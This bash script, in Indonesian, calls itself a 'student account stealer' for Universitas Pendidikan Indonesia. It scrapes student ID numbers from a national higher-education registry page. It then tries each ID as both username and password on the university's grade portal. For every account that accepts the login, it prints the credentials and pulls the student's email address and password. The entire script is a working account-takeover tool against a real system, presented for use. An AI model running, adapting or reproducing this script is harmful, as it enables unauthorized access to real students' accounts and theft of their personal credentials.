Project akun mahasiswa

#!/bin/bash

n=0
m="\033[1;31m"
h="\033[1;32m"
d="\033[0;37m"
b="\033[1;34m"
p="\033[1;37m"
url="https://forlap.ristekdikti.go.id/mahasiswa/detailsemester/QkQ4NzQxQjQtRUM3NC00RTQ1LTg0NDItRjJENTg5NDY0OTk0/20132/"
page="2780"

echo -e "${p}==========================================="
echo -e "||${h}    Program pencuri akun mahasiswa     ${p}||"
echo -e "||${h}   Universitas Pendidikan Indonesia    ${p}||"
echo -e "==========================================="
echo -e "[${m}!${p}]${d} Limit NIM yang kita ambil : ${h}$page${p}"
echo -e "[${m}!${p}]${d} Kita coba kumpulkan nim...${p}"
while true; do
    n=$[n+20];
    curl "${url}${n}" -s | \
    grep "<td>" | \
    grep -v "ristek" | \
    awk '{print $1}' | \
    cut -d ">" -f 2 | \
    cut -d "<" -f 1 >> upi1.txt
    echo -e "[${b}*${p}] ${d}$n NIM berhasil tersimpan...${p}"
    if [[ "$n" == "$page" ]]; then
        echo -e "[${m}!${p}] ${d}NIM telah tersimpan...${p}"
        break
    fi
done
cat upi1.txt | sort -u > upi.txt
rm upi1.txt

echo -e "[${m}!${p}] ${d}Cek nim ke system nilai...${p}"
cat upi.txt | while read dd; do
    cek="$(curl -i -s -k  -X $'POST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0' -H $'Referer: http://sino2.upi.edu/nilai/' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' | grep Login | cut -d '>' -f 4 | cut -d '<' -f 1)"
    if [[ "$cek" == "Login" ]]; then
        echo > /dev/null
    else
        echo -e "[${h}+${p}] ${d}User/Password : ${h}$dd${p}"
        echo -e "[${h}+${p}] ${d}Akun email : ${h}$(curl -s -b $(curl -i -X 'POST' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' -s | grep PHPSESSID | cut -d " " -f 2) http://sino2.upi.edu/nilai/table2.php | grep student.upi.edu | cut -d " " -f 2,3 | sed "s/<br>Password: /:/g" | cut -d "<" -f1)${p}"
    fi
done
echo -e "[${m}!${p}] ${d}Pengambilan data mahasiswa selesai..."